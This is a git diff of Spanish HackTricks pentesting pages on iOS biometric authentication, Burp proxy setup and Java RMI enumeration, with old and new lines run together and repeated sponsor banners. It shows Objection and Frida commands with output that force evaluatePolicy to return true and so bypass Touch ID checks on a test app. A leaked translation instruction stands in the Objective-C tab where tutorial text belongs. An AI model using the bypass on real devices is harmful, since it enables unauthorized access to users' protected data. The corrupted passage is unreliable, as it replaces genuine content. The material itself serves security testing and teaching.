preocupaciones son válidas y estas vulnerabilidades han demostrado existir en una gran cantidad de aplicaciones en la actualidad.
Una copia de seguridad de un dispositivo en el que se ha instalado una aplicación móvil incluirá todos los subdirectorios (excepto `Library/Caches/`) y archivos en el [directorio privado de la aplicación](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW12).\ Una copia de seguridad de un dispositivo en el que se ha instalado una aplicación móvil incluirá todos los subdirectorios (excepto `Library/Caches/`) y archivos en el [directorio privado de la aplicación](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW12).\
Por lo tanto, **evita almacenar datos sensibles en texto plano dentro de los archivos o carpetas que se encuentran en el directorio privado de la aplicación o sus subdirectorios**. Por lo tanto, **evita almacenar datos sensibles en texto plano dentro de los archivos o carpetas que se encuentran en el directorio privado de la aplicación o sus subdirectorios**.
@ -838,7 +850,7 @@ Los desarrolladores tienen dos opciones para incorporar la autenticación Touch
* `Security.framework` es una API de nivel inferior para acceder a los [servicios del llavero](https://developer.apple.com/documentation/security/keychain\_services). Esta es una opción segura si su aplicación necesita **proteger algunos datos secretos con autenticación biométrica**, ya que el control de acceso se gestiona a nivel del sistema y no se puede evadir fácilmente. `Security.framework` tiene una API en C, pero hay varios [envoltorios de código abierto disponibles](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id), lo que facilita el acceso al llavero de la misma manera que a NSUserDefaults. * `Security.framework` es una API de nivel inferior para acceder a los [servicios del llavero](https://developer.apple.com/documentation/security/keychain\_services). Esta es una opción segura si su aplicación necesita **proteger algunos datos secretos con autenticación biométrica**, ya que el control de acceso se gestiona a nivel del sistema y no se puede evadir fácilmente. `Security.framework` tiene una API en C, pero hay varios [envoltorios de código abierto disponibles](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id), lo que facilita el acceso al llavero de la misma manera que a NSUserDefaults.
{% hint style="danger" %} {% hint style="danger" %}
Tenga en cuenta que el uso de `LocalAuthentication.framework` o `Security.framework` puede ser eludido por un atacante, ya que solo devuelve un valor booleano y no datos para continuar. Consulte [Don't touch me that way, de David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM) para obtener más detalles. Tenga en cuenta que el uso de `LocalAuthentication.framework` o `Security.framework` será un control que puede ser evadido por un atacante, ya que solo devuelve un valor booleano y no datos para continuar. Consulte [Don't touch me that way, de David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM) para obtener más detalles.
{% endhint %} {% endhint %}
### Framework de Autenticación Local ### Framework de Autenticación Local
@ -848,13 +860,13 @@ Los desarrolladores pueden mostrar un **cuadro de diálogo de autenticación** u
* `deviceOwnerAuthentication`(Swift) o `LAPolicyDeviceOwnerAuthentication`(Objective-C): Cuando está disponible, se le solicita al usuario que realice la autenticación de Touch ID. Si Touch ID no está activado, se solicita el código de acceso del dispositivo en su lugar. Si el código de acceso del dispositivo no está habilitado, la evaluación de la política falla. * `deviceOwnerAuthentication`(Swift) o `LAPolicyDeviceOwnerAuthentication`(Objective-C): Cuando está disponible, se le solicita al usuario que realice la autenticación de Touch ID. Si Touch ID no está activado, se solicita el código de acceso del dispositivo en su lugar. Si el código de acceso del dispositivo no está habilitado, la evaluación de la política falla.
* `deviceOwnerAuthenticationWithBiometrics` (Swift) o `LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C): La autenticación está restringida a la biometría, donde se le solicita al usuario que utilice Touch ID. * `deviceOwnerAuthenticationWithBiometrics` (Swift) o `LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C): La autenticación está restringida a la biometría, donde se le solicita al usuario que utilice Touch ID.
La función **`evaluatePolicy` devuelve un valor booleano** que indica si el usuario se ha autenticado correctamente. Lo que significa que puede ser fácilmente eludido (ver a continuación) La función **`evaluatePolicy` devuelve un valor booleano** que indica si el usuario se ha autenticado correctamente. Lo que significa que puede ser fácilmente evadido (ver a continuación)
### Autenticación Local utilizando el Llavero ### Autenticación Local utilizando el Llavero
Las **API del llavero de iOS se pueden (y deben) utilizar para implementar la autenticación local**. Durante este proceso, la aplicación almacena un token de autenticación secreto u otro dato secreto que identifica al usuario en el llavero. Para autenticarse en un servicio remoto, el usuario debe desbloquear el llavero utilizando su contraseña o huella digital para obtener los datos secretos. Las **API del llavero de iOS se pueden (y deben) utilizar para implementar la autenticación local**. Durante este proceso, la aplicación almacena un token de autenticación secreto u otro dato secreto que identifica al usuario en el llavero. Para autenticarse en un servicio remoto, el usuario debe desbloquear el llavero utilizando su contraseña o huella digital para obtener los datos secretos.
El llavero permite guardar elementos con el atributo especial `SecAccessControl`, que permitirá el acceso al elemento solo desde el llavero después de que el usuario haya pasado la autenticación de Touch ID (o el código de acceso, si los parámetros del atributo lo permiten). El llavero permite guardar elementos con el atributo especial `SecAccessControl`, que permitirá el acceso al elemento desde el llavero solo después de que el usuario haya superado la autenticación de Touch ID (o el código de acceso, si se permite una alternativa según los parámetros del atributo).
En el siguiente ejemplo, guardaremos la cadena "test\_strong\_password" en el llavero. La cadena solo se puede acceder en el dispositivo actual mientras el código de acceso esté configurado (`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` parámetro) y después de la autenticación de Touch ID solo para los dedos actualmente registrados (`SecAccessControlCreateFlags.biometryCurrentSet` parámetro): En el siguiente ejemplo, guardaremos la cadena "test\_strong\_password" en el llavero. La cadena solo se puede acceder en el dispositivo actual mientras el código de acceso esté configurado (`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` parámetro) y después de la autenticación de Touch ID solo para los dedos actualmente registrados (`SecAccessControlCreateFlags.biometryCurrentSet` parámetro):
@ -896,7 +908,7 @@ if status == noErr {
``` ```
{% tab title="Objective-C" %} {% tab title="Objective-C" %}
El siguiente es un contenido de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo mobile-pentesting/ios-pentesting/README.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown. El siguiente es un contenido de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo mobile-pentesting/ios-pentesting/README.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada adicional aparte de la traducción y la sintaxis de markdown.
{% endtab %} {% endtab %}
```objectivec ```objectivec
@ -1000,7 +1012,7 @@ Si se utiliza `Security.framework`, solo se mostrará el segundo.
#### Objection #### Objection
[**Objection Biometrics Bypass**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) se puede utilizar para evitar la autenticación local. Objection **utiliza Frida para instrumentar la función `evaluatePolicy` para que devuelva `True`** incluso si la autenticación no se realizó correctamente. Utiliza el comando `ios ui biometrics_bypass` para evitar la autenticación biométrica insegura. Objection registrará un trabajo que reemplazará el resultado de `evaluatePolicy`. Funcionará tanto en implementaciones Swift como en Objective-C. [**Objection Biometrics Bypass**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) se puede utilizar para evitar la autenticación local. Objection **utiliza Frida para instrumentar la función `evaluatePolicy` para que devuelva `True`** incluso si la autenticación no se realizó correctamente. Utiliza el comando `ios ui biometrics_bypass` para evitar la autenticación biométrica insegura. Objection registrará un trabajo que reemplazará el resultado de `evaluatePolicy`. Funcionará tanto en implementaciones Swift como Objective-C.
```bash ```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable (agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
@ -1093,7 +1105,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
[ios-uipasteboard.md](ios-uipasteboard.md) [ios-uipasteboard.md](ios-uipasteboard.md)
{% endcontent-ref %} {% endcontent-ref %}
### Extensiones de la aplicación ### Extensiones de aplicaciones
{% content-ref url="ios-app-extensions.md" %} {% content-ref url="ios-app-extensions.md" %}
[ios-app-extensions.md](ios-app-extensions.md) [ios-app-extensions.md](ios-app-extensions.md)
@ -1152,7 +1164,7 @@ Para este propósito, generalmente se utiliza [**JSPatch**](https://github.com/b
### Terceros ### Terceros
Un problema de los SDK de terceros es que no hay **control granular sobre las características ofrecidas por el SDK**. Puedes usar el SDK y tener todas las características (incluyendo fugas de diagnóstico y conexiones HTTP inseguras), o no usarlo. Además, por lo general, no es posible para los desarrolladores de aplicaciones **parchear una vulnerabilidad** en el SDK.\ Un problema de los SDK de terceros es que no hay **control granular sobre las características ofrecidas por el SDK**. Puedes usar el SDK y tener todas las características (incluyendo fugas de diagnóstico y conexiones HTTP inseguras), o no usarlo. Además, por lo general, no es posible para los desarrolladores de aplicaciones **parchear una vulnerabilidad** en el SDK.\
Además, algunos SDK comienzan a **contener malware una vez que son muy confiables** por la comunidad. Además, algunos SDK comienzan a **contener malware una vez que son muy confiables** para la comunidad.
Además, las características que estos servicios proporcionan pueden implicar servicios de **rastreo para monitorear el comportamiento del usuario** mientras utiliza la aplicación, vender anuncios de banner o mejorar la experiencia del usuario. El inconveniente de los servicios de terceros es que los desarrolladores no conocen los detalles del código ejecutado a través de las bibliotecas de terceros. En consecuencia, no se debe enviar más información de la necesaria a un servicio y no se debe divulgar información confidencial. Además, las características que estos servicios proporcionan pueden implicar servicios de **rastreo para monitorear el comportamiento del usuario** mientras utiliza la aplicación, vender anuncios de banner o mejorar la experiencia del usuario. El inconveniente de los servicios de terceros es que los desarrolladores no conocen los detalles del código ejecutado a través de las bibliotecas de terceros. En consecuencia, no se debe enviar más información de la necesaria a un servicio y no se debe divulgar información confidencial.
@ -1163,7 +1175,7 @@ La mayoría de los servicios de terceros se implementan de dos formas:
* con una biblioteca independiente * con una biblioteca independiente
* con un SDK completo * con un SDK completo
Todos los datos que se envían a servicios de terceros deben ser anonimizados para evitar la exposición de PII (Información de Identificación Personal) que permitiría al tercero identificar la cuenta de usuario. Todos los datos que se envían a los servicios de terceros deben ser anonimizados para evitar la exposición de PII (Información de Identificación Personal) que permitiría al tercero identificar la cuenta de usuario.
Puedes encontrar las **bibliotecas utilizadas por una aplicación** ejecutando **`otool`** contra la aplicación (y **ejecutándolo** contra **cada** biblioteca **compartida** para encontrar más bibliotecas compartidas utilizadas). Puedes encontrar las **bibliotecas utilizadas por una aplicación** ejecutando **`otool`** contra la aplicación (y **ejecutándolo** contra **cada** biblioteca **compartida** para encontrar más bibliotecas compartidas utilizadas).
@ -1186,7 +1198,7 @@ Puedes encontrar las **bibliotecas utilizadas por una aplicación** ejecutando *
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -1197,8 +1209,8 @@ Obtén acceso hoy mismo:
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -15,7 +15,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -32,15 +32,15 @@ O puedes seguir los siguientes pasos manualmente:
### Configuración de un proxy de intercepción a través de localhost ### Configuración de un proxy de intercepción a través de localhost
Configurar Burp para que actúe como proxy de tu tráfico es bastante sencillo. Suponemos que tanto tu dispositivo iOS como tu ordenador están conectados a una red Wi-Fi que permite el tráfico entre clientes. Si no se permite el tráfico entre clientes, puedes utilizar usbmuxd para conectar Burp a través de USB. Configurar Burp para que actúe como proxy de tu tráfico es bastante sencillo. Suponemos que tanto tu dispositivo iOS como tu computadora están conectados a una red Wi-Fi que permite el tráfico entre clientes. Si no se permite el tráfico entre clientes, puedes usar usbmuxd para conectar Burp a través de USB.
PortSwigger proporciona un buen [tutorial sobre cómo configurar un dispositivo iOS para trabajar con Burp](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) y un [tutorial sobre cómo instalar el certificado CA de Burp en un dispositivo iOS](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). PortSwigger proporciona un buen [tutorial sobre cómo configurar un dispositivo iOS para trabajar con Burp](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) y un [tutorial sobre cómo instalar el certificado CA de Burp en un dispositivo iOS](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
#### Uso de Burp a través de USB en un dispositivo con Jailbreak #### Uso de Burp a través de USB en un dispositivo con Jailbreak
Cuando se realiza un análisis dinámico, es interesante utilizar la conexión SSH para dirigir nuestro tráfico a Burp que se está ejecutando en nuestro ordenador. Empecemos: Cuando se realiza un análisis dinámico, es interesante utilizar la conexión SSH para dirigir nuestro tráfico a Burp que se está ejecutando en nuestra computadora. Comencemos:
Primero necesitamos usar **iproxy** para hacer que SSH desde iOS esté disponible en localhost. Primero, necesitamos usar **iproxy** para hacer que SSH desde iOS esté disponible en localhost.
```bash ```bash
$ iproxy 2222 22 $ iproxy 2222 22
waiting for connection waiting for connection
@ -104,18 +104,18 @@ En _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER for
Pasos para configurar Burp como proxy: Pasos para configurar Burp como proxy:
* Ve a _System Preferences_ --> _Network_ --> _Advanced_ * Ve a _Preferencias del Sistema_ --> _Red_ --> _Avanzado_
* En la pestaña _Proxies_, marca _Web Proxy (HTTP)_ y _Secure Web Proxy (HTTPS)_ * En la pestaña _Proxies_, marca _Web Proxy (HTTP)_ y _Secure Web Proxy (HTTPS)_
* En ambas opciones, configura _127.0.0.1:8080_ * En ambas opciones, configura _127.0.0.1:8080_
![](<../../.gitbook/assets/image (461).png>) ![](<../../.gitbook/assets/image (461).png>)
* Haz clic en _**Ok**_ y luego en _**Apply**_ * Haz clic en _**Ok**_ y luego en _**Aplicar**_
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -124,10 +124,10 @@ Obtén acceso hoy mismo:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -7,7 +7,7 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
@ -15,7 +15,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -38,14 +38,14 @@ A veces, _nmap_ tiene problemas para identificar servicios _RMI_ protegidos por
## Componentes de RMI ## Componentes de RMI
En términos sencillos, _Java RMI_ permite que un desarrollador ponga a disposición un objeto _Java_ en la red. Esto abre un puerto _TCP_ donde los clientes pueden conectarse y llamar a métodos en el objeto correspondiente. A pesar de que esto suena simple, hay varios desafíos que _Java RMI_ necesita resolver: En términos sencillos, _Java RMI_ permite a un desarrollador hacer que un objeto _Java_ esté disponible en la red. Esto abre un puerto _TCP_ donde los clientes pueden conectarse y llamar a métodos en el objeto correspondiente. A pesar de que esto suena simple, hay varios desafíos que _Java RMI_ necesita resolver:
1. Para despachar una llamada de método a través de _Java RMI_, los clientes necesitan conocer la dirección IP, el puerto de escucha, la clase o interfaz implementada y el `ObjID` del objeto objetivo (el `ObjID` es un identificador único y aleatorio que se crea cuando el objeto está disponible en la red. Se requiere porque _Java RMI_ permite que varios objetos escuchen en el mismo puerto _TCP_). 1. Para despachar una llamada de método a través de _Java RMI_, los clientes necesitan conocer la dirección IP, el puerto de escucha, la clase o interfaz implementada y el `ObjID` del objeto objetivo (el `ObjID` es un identificador único y aleatorio que se crea cuando el objeto está disponible en la red. Se requiere porque _Java RMI_ permite que varios objetos escuchen en el mismo puerto _TCP_).
2. Los clientes remotos pueden asignar recursos en el servidor invocando métodos en el objeto expuesto. La máquina virtual de Java necesita realizar un seguimiento de qué recursos siguen en uso y cuáles pueden ser recolectados por el recolector de basura. 2. Los clientes remotos pueden asignar recursos en el servidor invocando métodos en el objeto expuesto. La máquina virtual de Java necesita realizar un seguimiento de qué recursos todavía están en uso y cuáles pueden ser recolectados por el recolector de basura.
El primer desafío se resuelve mediante el _registro RMI_, que es básicamente un servicio de nombres para _Java RMI_. El _registro RMI_ en sí mismo también es un servicio _RMI_, pero la interfaz implementada y el `ObjID` son fijos y conocidos por todos los clientes _RMI_. Esto permite que los clientes _RMI_ consuman el registro _RMI_ solo conociendo el puerto _TCP_ correspondiente. El primer desafío se resuelve mediante el _registro RMI_, que es básicamente un servicio de nombres para _Java RMI_. El _registro RMI_ en sí mismo también es un servicio _RMI_, pero la interfaz implementada y el `ObjID` son fijos y conocidos por todos los clientes _RMI_. Esto permite que los clientes _RMI_ consuman el registro _RMI_ solo conociendo el puerto _TCP_ correspondiente.
Cuando los desarrolladores desean que sus objetos _Java_ estén disponibles en la red, generalmente los vinculan a un registro _RMI_. El registro almacena toda la información necesaria para conectarse al objeto (dirección IP, puerto de escucha, clase o interfaz implementada y valor `ObjID`) y lo pone disponible bajo un nombre legible para los humanos (el "nombre vinculado"). Los clientes que desean consumir el servicio _RMI_ solicitan al registro _RMI_ el nombre vinculado correspondiente y el registro devuelve toda la información necesaria para conectarse. Por lo tanto, la situación es básicamente la misma que con un servicio _DNS_ ordinario. El siguiente ejemplo muestra un pequeño ejemplo: Cuando los desarrolladores quieren hacer que sus objetos _Java_ estén disponibles en la red, generalmente los vinculan a un registro _RMI_. El registro almacena toda la información necesaria para conectarse al objeto (dirección IP, puerto de escucha, clase o interfaz implementada y valor `ObjID`) y la pone disponible bajo un nombre legible para los humanos (el "nombre vinculado"). Los clientes que desean consumir el servicio _RMI_ solicitan al registro _RMI_ el nombre vinculado correspondiente y el registro devuelve toda la información necesaria para conectarse. Por lo tanto, la situación es básicamente la misma que con un servicio _DNS_ ordinario. El siguiente ejemplo muestra un pequeño ejemplo:
```java ```java
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.LocateRegistry;
@ -310,7 +310,7 @@ Command: rmg enum {IP} {PORT}
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -321,7 +321,7 @@ Obtén acceso hoy mismo:
